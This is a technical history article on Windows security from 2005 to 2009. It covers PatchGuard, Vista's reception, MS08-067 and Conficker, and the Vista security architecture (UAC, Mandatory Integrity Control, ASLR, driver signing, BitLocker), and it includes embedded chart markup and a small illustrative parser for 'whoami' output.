If XP SP2 was the proof of concept for on-by-default mitigations, the next four years were the proof of work. Microsoft was shipping kernel self-protection, anti-exploit defenses, and the first real attempt at a privilege model the consumer would actually use. The security research community was learning faster than the shipping cadence could absorb. Two industry coordination moments and one wormable RCE close the period.

gantt dateFormat YYYY-MM-DD axisFormat %b %Y section Memos and process Trustworthy Computing memo :a1, 2002-01-15, 7d Security stand-down :a2, 2002-02-01, 60d SDL mandated at Microsoft :a3, 2004-09-01, 120d Mojave Experiment :a4, 2008-07-01, 30d section Windows releases XP SP2 :b1, 2004-08-06, 90d XP x64 and Server 2003 x64 :b2, 2005-04-25, 30d Vista RTM :b3, 2006-11-08, 14d Vista consumer GA :b4, 2007-01-30, 14d Vista SP1 RTM :b5, 2008-02-04, 14d Vista SP1 GA :b6, 2008-03-18, 14d Windows 7 RTM :b7, 2009-07-22, 14d Windows 7 GA :b8, 2009-10-22, 14d section Attacks Blaster :c1, 2003-08-11, 30d Welchia :c2, 2003-08-18, 30d Sasser :c3, 2004-04-30, 30d MS08-067 out-of-band patch :c4, 2008-10-23, 7d Conficker.A first detected :c5, 2008-11-20, 30d Conficker.C DGA expansion :c6, 2009-03-04, 30d section Research Cowan StackGuard USENIX :d1, 1998-01-26, 7d PaX ASLR design doc :d2, 2003-03-15, 7d OpenBSD 3.4 W^X plus library randomization :d3, 2003-11-01, 7d Shacham et al CCS 2004 ASLR analysis :d4, 2004-10-25, 7d Hoglund and Butler Rootkits book :d5, 2005-06-01, 7d skape and Skywing Uninformed Vol 3 :d6, 2005-12-01, 7d Symantec McAfee public PatchGuard objection :d7, 2006-10-01, 30d Ferguson BitLocker whitepaper :d8, 2006-08-01, 30d Shacham ROP CCS 2007 :d9, 2007-10-29, 7d Halderman cold-boot USENIX 2008 :d10, 2008-07-28, 7d Conficker Working Group forms :d11, 2009-02-12, 14d CWG Lessons Learned final :d12, 2010-06-17, 7d

5.1 April 2005: XP Professional x64 Edition and Server 2003 x64

Windows XP Professional x64 Edition and Windows Server 2003 x64 Edition were the first Windows releases to ship Kernel Patch Protection -- the kernel self-defense mechanism widely known as PatchGuard. The common version of the story moves PatchGuard's debut to Vista by twenty months. It did not debut on Vista.

Microsoft Security Advisory 932596 (published August 14, 2007, updated April 23, 2008) is unambiguous: "An update is available for Kernel Patch Protection included with x64-based Windows operating systems" [@s-msft-adv-932596]. The x64-based qualifier is load-bearing. Vista x64 inherited PatchGuard v2 in November 2006; Vista SP1 x64 shipped v3 in February 2008. The x86 editions of Vista never got PatchGuard.

Microsoft's kernel-mode self-protection feature on x64 Windows. PatchGuard periodically verifies the integrity of a fixed list of kernel data structures (SSDT, IDT, GDT, MSRs, system images, the kernel's own code pages) and bug-checks the system on detected modification. Shipped first in April 2005 in Windows XP Professional x64 Edition and Windows Server 2003 x64 Edition. Vista x64 inherited it (v2 in Vista RTM, v3 in Vista SP1). Vista did NOT introduce PatchGuard [@s-msft-adv-932596].

The architectural target of PatchGuard is the 2003-era rootkit class catalogued in Hoglund and Butler's Rootkits: Subverting the Windows Kernel (Addison-Wesley, 2005) [@s-hoglund-butler-rootkits]: SSDT hooks, IDT hooks, inline patches of function prologues, modifications to the System Service Descriptor Table, manipulation of the Object Manager's namespace. The same April 2005 release also introduced advisory (warnings, not enforcement) kernel-mode driver signing. Mandatory kernel-mode driver signing arrived with Vista x64 a year and a half later [@s-msft-driver-signing].

5.2 October 2006: Symantec and McAfee object to PatchGuard in public

The first major public clash between kernel self-defense and the kernel-extension model that the antivirus industry had built businesses on came in October 2006, weeks before Vista RTM. Symantec and McAfee both took the position that PatchGuard would make their products materially less effective by closing off the kernel-mode hooking patterns their behavioural detection engines depended on [@s-wp-kpp].

Microsoft's response was to formalise the existing Cm, Ob, and Ps notification routines (registry, object-manager, and process callbacks) and the Filter Manager and Windows Filtering Platform callout architectures as supported extension surfaces. The pattern -- a kernel-integrity feature pressed up against existing AV business models, followed by a published callback API that gives the AV industry a supported path -- recurs with Driver Signature Enforcement in Vista x64, with Early Launch Antimalware in Windows 8, with HVCI in Windows 10 and 11, and with the Microsoft Vulnerable Driver Block list rollout from 2020 onward.

5.3 December 1, 2005: skape and Skywing's "Bypassing PatchGuard on Windows x64"

In December 2005, eight months after PatchGuard's debut, skape (Matt Miller) and Skywing (Ken Johnson) published "Bypassing PatchGuard on Windows x64" in Uninformed Vol. 3 [@s-skape-skywing-patchguard]. The paper is widely mis-cited: it is dated December 1, 2005 (the Uninformed volume publication is January 2006); it is co-authored, not single-authored; it has no subtitle. Upstream secondary references occasionally attribute the paper to Skywing alone with a July 2006 date and the subtitle "Bypassing Kernel Patch Protection on Windows x64." The corrected metadata is what the article uses.

The structural observation that any defense which runs at a given privilege level cannot fundamentally constrain an attacker who also runs at that privilege level. PatchGuard runs at ring 0; rootkits run at ring 0; therefore PatchGuard is bypassable in principle from a sufficiently privileged kernel-mode attacker. skape and Skywing's December 2005 *Uninformed* paper demonstrated three concrete bypass technique classes [@s-skape-skywing-patchguard]. The genuine architectural fix waits for hypervisor-protected mechanisms (HVCI in Windows 10 Anniversary Update, August 2016; VBS and Pluton in Windows 11) that run the integrity verifier from a more privileged execution mode than the attacker. Any defense that runs at the same privilege level as the attacker is fundamentally bypassable. -- paraphrased from the load-bearing conclusion of skape and Skywing, *Uninformed* Vol. 3, December 1, 2005 [@s-skape-skywing-patchguard]

5.4 November 8, 2006: Vista RTM

Windows Vista released to manufacturing on November 8, 2006. Volume-license availability via the Microsoft Volume Licensing portal began "sometime before Nov. 30, 2006" per the same-day Computerworld press-conference coverage [@s-lai-computerworld-vista-rtm]. Consumer general availability was January 30, 2007. Keep these as three distinct dates: the gap between RTM and consumer GA is where most enterprise IT departments tested compatibility, and where the volume-license customers who later complained loudest about Vista actually first encountered it.

5.5 January 30, 2007: Vista consumer GA and the reception

The pivot from technical release to cultural event happened in the first six months of 2007. Apple's "Get a Mac" television-spot series ran "Security" and "Cancel or Allow" through the summer, dramatizing UAC prompt fatigue for a mass audience [@s-wp-get-a-mac].

The Kelley v. Microsoft Corp. lawsuit (No. 2:07-cv-00475-MJP, W.D. Wash.) was filed on March 29, 2007 and certified as a class action in February 2008 [@s-cw-vista-capable-class], alleging that Microsoft had marketed machines as "Vista Capable" that could only run Home Basic without the Aero compositor or many of the security features the launch had highlighted. The Mojave Experiment in July 2008 -- Microsoft showing Vista to focus groups under a different name and getting positive reactions -- was the era's confession that the perceptual layer mattered as much as the architectural layer [@s-msft-mojave-experiment, @s-wp-mojave-experiment].

The Vista Capable case is Kelley v. Microsoft Corp., No. 2:07-cv-00475-MJP, W.D. Wash., filed March 29, 2007 and certified February 22, 2008 [@s-cw-vista-capable-class]. Coverage that condenses the timeline to "Vista launched and was sued" tends to misstate the filing month as April or May.

Was Vista the most-hated Windows release? Windows ME and Windows 8 have competing claims, and any honest treatment needs to acknowledge them. Call Vista one of the most poorly received Windows consumer releases of its era. The reception was uniquely consequential -- the SP1-era enterprise inertia, the consumer skipping that left a large XP-to-7 leap, and the marketing problem Windows 7's launch had to solve. The substantive argument does not depend on the superlative.

5.6 February 4, 2008: Vista SP1 RTM

Vista Service Pack 1 released to manufacturing on February 4, 2008, with broad availability starting March 18, 2008 [@s-msft-news-vista-sp1-rtm]. This is the "real Vista" enterprise IT deployed. PatchGuard v3 shipped with SP1. The file-copy engine got the performance fix that Vista's reviewers had spent a year complaining about. Windows Search was refactored to reduce IO contention with foreground work. A set of compatibility shims relaxed UAC on several common operations that had been hitting too many false-positive prompts.

Vista SP1 RTM is February 4, 2008 (build 6001.18000); broad GA is March 18, 2008 [@s-msft-news-vista-sp1-rtm]. Upstream summaries sometimes mis-state the RTM as November 2007 -- that date is actually the SP1 Release Candidate 1 milestone, not RTM.

5.7 October 23, 2008: MS08-067 out-of-band

The vulnerability behind MS08-067 is a stack buffer overflow in the path-handling code (the function commonly named NetprPathCanonicalize in the NetAPI library), reachable through the Server service's srvsvc RPC interface over SMB on TCP/445 (and TCP/139 in NetBT environments) without authentication. CVE-2008-4250 [@s-nvd-cve-2008-4250]. The patch is out-of-band because the MSRC analysts who reviewed the bug believed weaponisation was weeks away.

Vista's DEP and ASLR materially raised the cost of exploitation on Vista compared to XP -- the bulletin rates the issue Critical on Windows 2000, XP, and Server 2003 but Important on Vista and Server 2008 [@s-ms08-067]. The October 2008 installed base, however, was overwhelmingly Server 2003 and XP. The first in-the-wild MS08-067 exploitation in October 2008 was Gimmiv.A, a narrower non-self-propagating Trojan, per NVD [@s-nvd-cve-2008-4250]. Conficker was three weeks away.

5.8 Late November 2008: Conficker.A is first detected

Conficker.A was first detected in late November 2008, anchored to November 20, 2008 in SRI International's "An Analysis of Conficker C" addendum, whose introductory paragraph reads: "Conficker malware family, which first appeared on the Internet on 20 November 2008" [@s-sri-conficker-c-addendum]. The gap from MS08-067 to Conficker.A is approximately twenty-nine days. The October-2008 in-the-wild MS08-067 exploitation was Gimmiv.A; Conficker is a separate, later, much larger event.

The audit-mandated date correction: Conficker.A first detected in late November 2008, with November 20, 2008 as the canonical SRI anchor [@s-sri-conficker-c-addendum]. The October-2008 in-the-wild MS08-067 exploitation reported in NVD is Gimmiv.A, not Conficker [@s-nvd-cve-2008-4250].

5.9 December 2008 through April 2009: Conficker.B, C, E

The variant taxonomy matters because it is the evidence base for how quickly the worm's authors learned, and how the Conficker Working Group's coordinated defense responded. Conficker.B in late December 2008 added removable-drive autorun spreading, a dictionary attack against weak shares, and a fallback exploit path against the older MS06-040 vulnerability for the small fraction of targets that were still unpatched against it.

Conficker.A already had a 250-domain-per-day Domain Generation Algorithm; what Conficker.C added on March 4, 2009 at 6 p.m. PST (March 5 UTC) was a 50,000-domain-per-day rendezvous-pool expansion across 110 top-level domains and a peer-to-peer coordination channel that no longer required successful DNS rendezvous -- two functional additions of the same variant, not two sequential revisions. The SRI "An Analysis of Conficker C" addendum is explicit on this: variant C "incorporates a major restructuring of B's previous thread architecture and program logic, including major functional additions such as a new peer-to-peer (P2P) coordination channel, and a revision of the domain generation algorithm (DGA)" [@s-sri-conficker-c-addendum]. Conficker.E, in April 2009, added payload-delivery for scareware and the Waledac spam botnet; the in-era variant chain runs A to B to C to E, matching both the SRI primary and the CWG taxonomy.

Conficker.B's MS06-040 fallback exploit path was scoped to Windows 2000 targets only -- the older bulletin's RCE vector did not reach the post-2003 SMB stack the same way. The Conficker Working Group taxonomy is sometimes summarised in ways that imply the MS06-040 fallback was a broader secondary attack vector; it was not.

5.10 February 12, 2009: Conficker Working Group and the $250,000 bounty

On February 12, 2009 Microsoft posted a US$250,000 bounty for information leading to the arrest and conviction of Conficker's authors, and the Conficker Working Group formally constituted itself as a coordinated industry response -- Microsoft, ICANN, F-Secure, Symantec, Verisign, Georgia Tech, and roughly 120 other participating organisations [@s-cwg-lessons-learned-2019].

The CWG's "Lessons Learned" final report (June 17, 2010) is the canonical post-mortem primary that the rest of this article relies on for variant taxonomy, infection-count framing, and the deployment-velocity-ceiling argument [@s-cwg-lessons-learned-2019]. The 9-to-15-million infected machines figure is the report's own range; counts varied with measurement methodology and with which Conficker variants the counter included.SRI International's per-country infection table from the same period shows the geographic distribution: China (about 2.65M observed bots), Brazil (about 1.02M), Russia (about 836K), India (about 607K), Argentina (about 569K) topping the list [@s-sri-conficker-resources]. The distribution tracked installed-base size of unpatched XP and Server 2003 closely.

Vista shipped on November 8, 2006 and the world made up its mind about the reception by mid-2007. To understand why the architecture survived the reception, we have to look at what the architecture actually was -- feature by feature -- and what each feature defended against.

6. The Vista Security Catalogue

Open Windows Internals, 5th edition (Russinovich, Solomon, and Ionescu, Microsoft Press, 2009) [@s-windows-internals-5e] to the security chapter and the table of contents reads like a list of features Microsoft did not have eighteen months earlier. Eight features in particular form the Vista security architecture, not because they were the only changes, but because every other Vista security improvement either depends on one of these or polishes one of these.

6.1 The integrity-level stack: UAC, MIC, and UIPI

User Account Control is the consumer-visible part. Underneath sit two architectural primitives that do almost all the work: Mandatory Integrity Control and User Interface Privilege Isolation.

UAC's split-token model works like this. When an interactive user logs on whose group membership includes Administrators, the Local Security Authority issues two access tokens, not one. The filtered token has Administrators removed (more precisely, marked deny-only) and the high-privilege list stripped down to the standard-user set; the full token retains everything.

The user session starts running under the filtered token by default. When a program tries to perform an operation that requires the full token -- writing under %ProgramFiles%, modifying HKLM, loading a driver -- the Application Information service displays a Secure Desktop consent prompt. On consent, the full token is released for that process only; the rest of the session continues on the filtered token.

The Vista feature that runs interactive administrator accounts under a filtered standard-user token by default and prompts for explicit consent before releasing the full administrator token to a specific process. The Secure Desktop switch isolates the consent prompt from window-message injection by lower-integrity processes. Russinovich is explicit in the load-bearing primary: elevations were introduced as a convenience, and their existence "prevents OTS elevations from being a security boundary" [@s-russinovich-uac-technet]. The boundary classification arrives much later with Administrator Protection in the 2024 to 2026 Windows 11 era.

Mandatory Integrity Control adds the second axis the discretionary-access-control model never had. Every process token carries an integrity-level SID drawn from a small set -- Untrusted S-1-16-0, Low S-1-16-4096, Medium S-1-16-8192, High S-1-16-12288, System S-1-16-16384 -- and every securable object carries an integrity-level access control entry indicating the minimum integrity required to write (and optionally read or execute). The kernel's access check evaluates integrity before the discretionary ACL [@s-msft-mic-win32]. A Low-integrity process holding a handle to a Medium-integrity registry key cannot write to it regardless of what the DACL says.

Vista's mandatory-access-control primitive added to the Windows access-check pipeline. MIC attaches an integrity-level SID to every process token and an integrity-level ACE to every securable object, then evaluates the integrity comparison before the discretionary access control list. MIC is the architectural substrate every later Windows containment story (AppContainer, Modern Apps, browser sandbox, Office Protected View, WDAG, VBS) inherits [@s-msft-mic-win32].

User Interface Privilege Isolation closes the third class of cross-integrity attack: window-message injection. Before UIPI, any process in the same desktop could send window messages (SendMessage, PostMessage, WM_TIMER, SetWindowsHookEx) to any other process's windows, including elevated ones. Chris Paget's 2002 "shatter attack" paper had walked through the attack surface methodically. UIPI prevents a lower-integrity process from sending most messages to higher-integrity windows; the Secure Desktop completes the closure for the consent UI itself by drawing it on a separate desktop the user-session processes cannot reach.

Vista's mechanism preventing lower-integrity processes from sending window messages (SendMessage, PostMessage, SetWindowsHookEx, WM_TIMER, etc.) to higher-integrity windows on the same desktop. Closes the shatter-attack class documented by Chris Paget in 2002. Together with the Secure Desktop, UIPI is the closure that makes the UAC consent prompt actually resistant to programmatic dismissal from a malware process running in the same user session. flowchart TD A[Interactive logon as Administrator] --> B[LSA splits token] B --> C[Filtered standard-user token] B --> D[Full administrator token held aside] C --> E[User session starts under filtered token] E --> F[Program requests admin operation] F --> G[Application Information service intercepts] G --> H[Secure Desktop switch] H --> I[UAC consent prompt] I --> J{"Consent?"} J -- Yes --> K[Full token released to this process only] J -- No --> L[Operation denied] K --> M[Process runs at High integrity] L --> E

Russinovich's "Inside Windows Vista User Account Control" in TechNet Magazine June 2007 is the canonical primary on design intent [@s-russinovich-uac-technet]; a separate Mark's-Blog post dated February 12, 2007 anchored the multi-part TechNet blog series on PsExec and the restricted-token discussion [@s-russinovich-psexec-blog]. The two are distinct primaries and the article does not conflate them.

The TechNet Magazine UAC article is a single standalone piece at asset id cc138019 [@s-russinovich-uac-technet]. There is a separately numbered Magazine asset at cc162493 that is sometimes mis-cited as "Part 2" of the UAC series; live fetches of that URL return an unrelated Raymond Chen column. The article cites cc138019 only and treats the February 12, 2007 blog post as the start of the distinct multi-part blog series.

6.2 Anti-exploit mitigations: ASLR and Vista-era DEP refinements

Vista is the first Windows release to ship Address Space Layout Randomization. Vista's ASLR randomizes the load address of system DLLs and of executables linked with /DYNAMICBASE; it is opt-in for user code. Mandatory ASLR for all images is a later-Windows feature, with Force ASLR appearing in EMET and in Windows 8, and full enforcement landing in Windows 10. The randomization is per-boot for system images and per-process-load for user images. Entropy on x86 is roughly 8 bits (256 possible base addresses), and considerably more on x64.

A defense that randomizes the base addresses of executable images, libraries, the stack, and the heap so attackers cannot predict the location of useful code or data. Vista (January 2007) was the first Windows release to ship ASLR; Vista's implementation randomized system DLLs and `/DYNAMICBASE`-linked user images, with per-boot randomization for system images and per-process-load randomization for user images. The Linux-side prior art is PaX [@s-pax-aslr-live, @s-pax-docs-index], and OpenBSD 3.4 (November 1, 2003) was the first general-purpose OS to ship integrated W^X plus library-load-order randomization default-on [@s-openbsd-3-4-wayback]. The brute-force entropy bound is the Shacham et al. CCS 2004 result [@s-shacham-asrandom-ccs2004].

The Shacham et al. CCS 2004 paper showed that 8 bits of ASLR entropy yields an expected $2^{7} = 128$ attempts to brute-force the base on a target process that respawns after crash [@s-shacham-asrandom-ccs2004]. The result is why x64 ASLR (with substantially more bits of entropy) is qualitatively different and why Force ASLR in Windows 8 was a categorical improvement over Vista's opt-in model.

The DEP refinements in Vista are mostly about loader cooperation. Vista's PE loader respects the IMAGE_DLLCHARACTERISTICS_NX_COMPAT flag, so binaries that opt in to DEP get the policy applied without per-process configuration. SEHOP (Structured Exception Handler Overwrite Protection) precursor work also lands.

Three years later, Hovav Shacham's CCS 2007 paper on Return-Oriented Programming will show that DEP alone is necessary but not sufficient: an attacker who cannot inject and execute new code can still chain together existing executable-code "gadgets" from already-loaded modules to construct functional payloads [@s-shacham-rop-geometry-ccs2007]. That insight is what drives the next generation of Windows mitigations -- CFG, CET, /GUARD:EH -- but those are out of era.

6.3 Kernel self-protection on x64: inherited PatchGuard, new mandatory KMCS

Vista did not introduce PatchGuard; it inherited the April 2005 x64 mechanism. What Vista x64 did introduce is mandatory kernel-mode driver signing. Unsigned drivers do not load on Vista x64 under the Kernel-Mode Code Signing policy.

The documented escape hatch for development is bcdedit /set testsigning on, which causes the boot loader to honour test-signing-rooted certificates and which displays a permanent desktop watermark to make the state of the machine visible. Together with the inherited PatchGuard, the combination foreclosed the dominant 2003-era rootkit installation path: drop a .sys, register it via SCM, kernel loads it with no signature check, kernel hooks become trivial [@s-msft-driver-signing].

The Vista x64 policy that refuses to load kernel-mode drivers unless they carry a digital signature rooted in a Microsoft-trusted certificate chain (Microsoft WHQL, a cross-certified third-party CA, or a Microsoft Hardware certificate). `bcdedit /set testsigning on` is the documented development-time escape hatch. Vista x86 never received mandatory KMCS, which is one of the structural reasons x64 became the dominant Windows architecture during the next decade [@s-msft-driver-signing].

x86 Vista did not get mandatory KMCS, because the installed-base compatibility cost was deemed too high; the x86 / x64 asymmetry is one reason x64 became the dominant Windows architecture by 2010. The post-2010 afterlife is "Bring Your Own Vulnerable Driver" attacks: KMCS forecloses unsigned drivers but does not address the case of a legitimately signed driver containing a vulnerability the attacker exploits to gain kernel-mode code execution. BYOVD became the dominant rootkit-loading path from approximately 2010 onward, and the Microsoft Vulnerable Driver Block list (2020 onward) is the architectural response.

The post-KMCS attack pattern in which an attacker installs a legitimately signed kernel-mode driver that contains an exploitable vulnerability, then exploits the driver to gain ring-0 code execution. KMCS forecloses the unsigned-driver path but does not prevent loading of signed drivers, so attackers brought their own. Architectural closure waits for the Microsoft Vulnerable Driver Block list and Hypervisor-Protected Code Integrity, both of which post-date this article's era.

6.4 Service Hardening

Service Hardening is the Vista feature that most reduced the blast radius of a service-level exploit even when exploitation succeeded. Three changes did the work. Per-service SIDs of the form NT SERVICE\<servicename> give every service a distinct security principal -- the previous model was that every service running as LocalSystem shared the same identity.

NT AUTHORITY\WRITE RESTRICTED tokens constrain a service to writing only to resources whose DACL explicitly grants its per-service SID, even when the service token nominally has higher privileges. Minimum-privilege configuration replaces the historical LocalSystem superset; the SCM lets services declare exactly which privileges they require. And Windows Firewall rules can be authored per-service-SID, so a compromised service can be blocked from reaching the network even if the rest of the box can. The print primary is Windows Internals, 5th edition (Russinovich, Solomon, Ionescu, Microsoft Press, 2009) [@s-windows-internals-5e].

A security identifier of the form `NT SERVICE\` distinct to each Windows service, automatically derived from the service short name. Per-service SIDs are the primitive that lets a host firewall rule, a `WRITE RESTRICTED` token policy, or a registry-key DACL constrain a single service without affecting any other service in the same `svchost.exe` process or any other principal sharing the same logon SID.

6.5 Windows Resource Protection

Windows Resource Protection replaces Windows File Protection (the Windows 2000-era SFC mechanism), whose model was "the OS keeps a hidden catalog of canonical copies and silently replaces tampered system files." WRP is ACL-based instead. Protected files and registry keys are owned by the TrustedInstaller SID; the DACL grants modify rights only to TrustedInstaller. Administrators retain read access and can take ownership, but they cannot modify protected resources directly without that ownership transfer. The protection extends to registry keys, which WFP/SFC did not cover [@s-windows-internals-5e].

Vista's replacement for the Windows 2000 to XP-era Windows File Protection / SFC catalog-and-replace mechanism. WRP is ACL-based: protected files and registry keys are owned by `TrustedInstaller` and the DACL restricts modify access to `TrustedInstaller` itself; administrators can take ownership but cannot modify protected resources directly without that step. The protection also covers registry keys, which the older WFP did not. Note: the acronym "WFP" in this paragraph (Windows File Protection) is unrelated to the "WFP" (Windows Filtering Platform) in section 6.6.

6.6 Windows Filtering Platform

Vista and Server 2008 replace the prior NDIS-IM, TDI, and firewall-hook stack-extension architecture with the Windows Filtering Platform: a kernel-mode framework of filtering layers (transport, network, application-layer enforcement), shims, and callout drivers giving third-party firewalls, IDS/IPS, and content filters a supported extension surface. The Base Filtering Engine in user mode centralises policy. Windows Firewall in Vista and every release thereafter sits on top of WFP.

Forshaw's Project Zero post documents the three-tier architecture directly: "MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service. These filters are then uploaded to the TCP/IP driver (TCPIP.SYS) in the kernel which is where the firewall processing is handled" [@s-forshaw-projectzero-wfp].

Vista's kernel-mode replacement for the NDIS-IM, TDI, and firewall-hook stack-extension architecture that prior third-party firewalls had hooked into. WFP exposes filtering layers (transport, network, application-layer enforcement) plus a callout-driver API, with the user-mode Base Filtering Engine centralising policy and the Microsoft Protection Service service translating Windows Firewall rules into WFP filters. Note: the acronym "WFP" in this paragraph (Windows Filtering Platform) is unrelated to the "WFP" (Windows File Protection) in section 6.5; they are two unrelated three-letter abbreviations that happen to share initials [@s-forshaw-projectzero-wfp]. flowchart LR A[Windows Firewall policy] --> B[MPSSVC user-mode service] B --> C[Base Filtering Engine BFE user mode] C --> D[TCPIP.SYS kernel-mode filter] E[Third-party firewall or IDS] --> C F[Callout drivers] --> D D --> G[Network packets in or out]

6.7 BitLocker Drive Encryption

BitLocker shipped in Windows Vista Enterprise and Ultimate editions on January 30, 2007, and in Windows Server 2008. Protector modes were TPM-only (seal-to-PCR), TPM+PIN, TPM+startup-key, and recovery-key. The cipher was AES-CBC with the Elephant Diffuser, an additional diffusion layer Niels Ferguson designed specifically for the disk-encryption setting and documented in his August 2006 Microsoft whitepaper "AES-CBC + Elephant Diffuser: A Disk Encryption Algorithm for Windows Vista" [@s-ferguson-bitlocker]. The SKU limitation materially constrained deployment reach -- most Vista consumers ran Home Basic or Home Premium, neither of which included BitLocker at all.

Microsoft's full-volume encryption feature, first shipped in Windows Vista Enterprise and Ultimate (January 30, 2007) and in Windows Server 2008. Original Vista cipher: AES in CBC mode with Niels Ferguson's Elephant Diffuser overlay [@s-ferguson-bitlocker]. Protector modes: TPM-only (seal-to-PCR), TPM+PIN, TPM+startup-key, and recovery-key. The Vista release was edition-gated, which limited deployment reach materially across the consumer Vista base.

The era's load-bearing known weakness for TPM-only mode is the cold-boot attack documented in Halderman et al., "Lest We Remember: Cold Boot Attacks on Encryption Keys," USENIX Security 2008 [@s-halderman-coldboot-jhalderm]. DRAM remanence after power-off plus low-temperature imaging let an attacker reconstruct AES keys from a system whose disk was seal-to-PCR-decrypted at boot. The architectural answer -- TPM+PIN as the configuration for any threat model that includes physical access -- is the same in 2026 as it was in 2008.

6.8 Auxiliary hardening that landed quietly

Several Vista security features did not make front-page reviews but matter for the modern stack. Session-0 isolation moved services out of the interactive user session, closing the cross-session shatter attack on services. Protected Processes for DRM media paths became the precursor of PPL (Protected Process Light), which is the substrate for LSA Protection and Credential Guard.

Windows Defender shipped as built-in antimalware (originally GIANT AntiSpyware, which Microsoft acquired in December 2004) [@s-msft-giant-press-2004]. Network Access Protection (NAP) provided the framework for posture-checking machines before allowing network access -- later superseded by conditional access and never broadly deployed. Cryptography Next Generation (CNG) replaced CryptoAPI and is the substrate every modern Windows crypto operation runs on top of. The Volume Shadow Copy refactor enabled Previous Versions in the file Properties dialog.

The Vista feature table

Vista feature	Attack class defended	Compatibility cost	Status in 2026
UAC + MIC + UIPI	Cross-integrity write, cross-integrity UI injection	Prompt fatigue; admin scripts requiring elevation	ACTIVE (MIC is the substrate of every modern Windows sandbox)
ASLR + DEP refinements	Predictable-address shellcode, stack/heap execution	JIT compilers; non-DYNAMICBASE third-party DLLs	ACTIVE (Force ASLR mandatory in Windows 10)
Inherited PatchGuard + mandatory x64 KMCS	Unsigned-driver rootkits, kernel inline patching	x86/x64 split; test-signing escape hatch	ACTIVE (BYOVD response is post-era; HVCI in Win 10 Anniversary)
Service Hardening	Service-exploit blast radius	LocalSystem-assuming legacy services	ACTIVE
Windows Resource Protection	Direct overwrite of OS files and registry	Administrators cannot directly modify system files	ACTIVE
Windows Filtering Platform	NDIS hooking, unsupported third-party network filters	Third-party firewalls and AV had to port to WFP	ACTIVE (every Windows network filter sits on WFP)
BitLocker Drive Encryption	Data-at-rest exposure on lost / stolen devices	SKU limited to Enterprise + Ultimate; TPM-only is cold-boot-vulnerable	ACTIVE (cipher modernised to AES-XTS in Windows 10)
Session-0 isolation + Protected Processes + Defender + NAP + CNG	Cross-session shatter on services, weak crypto primitives, etc.	Service authors had to handle no-interactive-desktop case	ACTIVE (CNG, Defender); NAP SUPERSEDED-BY conditional access

Eight features. Three audit-mandated corrections. One architectural shift the consumer noticed -- a prompt. The next chapter argues that the prompt the consumer hated is not the breakthrough; the integrity-level stack underneath it is.

7. UAC Is the Surface; MIC Is the Substrate

Every Vista user remembers the prompt. Almost no Vista user can describe what the prompt was actually a prompt for. The prompt is the consumer-visible surface of the integrity-level stack. The integrity-level stack is the architectural achievement -- the first OS-level Windows mechanism to recognise that the discretionary-access-control model of Cutler-era NT could not express the policy that mattered.

Recall the integrity-level SIDs from section 6.1, organised as a small table:

Integrity level	SID	Operational use
Untrusted	`S-1-16-0`	Anonymous, deeply isolated processes (rare in default Windows)
Low	`S-1-16-4096`	Sandboxed processes (IE Protected Mode tab, AppContainer in Windows 8+)
Medium	`S-1-16-8192`	Default for normal user processes
High	`S-1-16-12288`	Elevated processes after UAC consent
System	`S-1-16-16384`	Kernel-mode and the most privileged service hosts

The argument is this. Discretionary access control could not distinguish "Administrator the user" from "Administrator's freshly downloaded script" because both ran with the same access token, and a DACL only encodes which principals can perform which operations. MIC can distinguish them.

The downloaded script runs at Low integrity (web-zone provenance, set by AES and inherited by the spawned process). The user shell runs at Medium or High. The integrity-level check evaluates before the DAC and blocks the cross-integrity write regardless of what the DAC would have permitted. UIPI then closes the second class of cross-integrity attack -- window-message injection -- so the same Low-integrity process cannot use SendMessage to puppet a Medium-integrity window into doing what its DAC would not allow it to do directly.

{` // Illustrative parser. The real PowerShell command is: // whoami /groups /priv // which dumps the SIDs and privileges in the current token. The // "Mandatory Label\\Medium Mandatory Level" line carries the integrity SID.

const sampleWhoamiOutput = ` Mandatory Label\\High Mandatory Level Label S-1-16-12288 BUILTIN\\Administrators Alias S-1-5-32-544 SeLoadDriverPrivilege Load and unload device drivers Enabled SeShutdownPrivilege Shut down the system Enabled `; const intLineRe = /Mandatory Label\\\\(Low|Medium|High|System) Mandatory Level\\s+\\S+\\s+(S-1-16-\\d+)/; const m = sampleWhoamiOutput.match(intLineRe); const elevatedPrivs = ["SeLoadDriverPrivilege","SeTcbPrivilege","SeBackupPrivilege"]; const has = p => sampleWhoamiOutput.includes(p + " ") && sampleWhoamiOutput.includes("Enabled"); if (m) console.log(`Integrity level: ${m[1]} (${m[2]})`); console.log("Likely elevated:", elevatedPrivs.some(has) ? "yes" : "no"); `}

Here is what the Aha lands on. Without MIC, every later Windows containment story -- AppContainer (Windows 8 Modern Apps), the Chromium and Edge browser sandboxes, IE Protected Mode, Office Protected View, Adobe Reader's sandbox, Windows Defender Application Guard, Virtualization-Based Security and Credential Guard -- would have had to invent the per-process trust-level primitive from scratch. Every one of them inherits MIC. The prompt is throwaway; the substrate is permanent. The full integrity-level-stack history through Administrator Protection is traced in the Adminless companion post.

Key idea: UAC is the prompt the user saw. MIC is the substrate every later Windows containment story inherits. The Vista security story is not the UI consent flow most reviewers focused on -- it is the integrity-level SID on every process token and the integrity-level ACE on every securable object, evaluated before the DAC, in the access-check pipeline of every Windows release since.

The prompt the consumer hated is not the breakthrough; the integrity-level stack underneath it is.

If Vista's architecture was right, why was Vista's reception wrong? The answer is not the prompt. The answer is what the prompt interrupted -- the everyday workflow that, on XP, had been a long-uninterrupted sequence of operations the user did not realise required administrative authority. The next chapter is the polish.

8. Windows 7 as the Vista Polish

Windows 7 reached general availability on October 22, 2009. Reviews were positive in a way Vista's never were. The security architecture underneath had barely changed.

The Vista security architecture is preserved almost entirely in Windows 7. UAC, MIC, and UIPI carry forward. BitLocker carries forward, gaining BitLocker To Go for removable drives. Both WFPs (the Filtering Platform and Resource Protection) carry forward. ASLR and DEP carry forward. Service Hardening carries forward, with additional per-service-SID coverage for previously-overlooked service hosts. Mandatory x64 KMCS carries forward. The Security Center is reborn as Action Center with an aggregated maintenance surface alongside the security surface.

Windows 7 did change the integration. UAC gained a four-level slider in Control Panel -- Always Notify, Notify when programs try to make changes (the default), Notify but don't dim the desktop, and Never Notify -- and an "auto-elevate" whitelist for signed Microsoft binaries that the system trusted to elevate themselves without a consent prompt. The slider made the prompt fatigue UI-tunable for the first time. The auto-elevate whitelist, however, is the load-bearing UAC-bypass surface for the next decade.

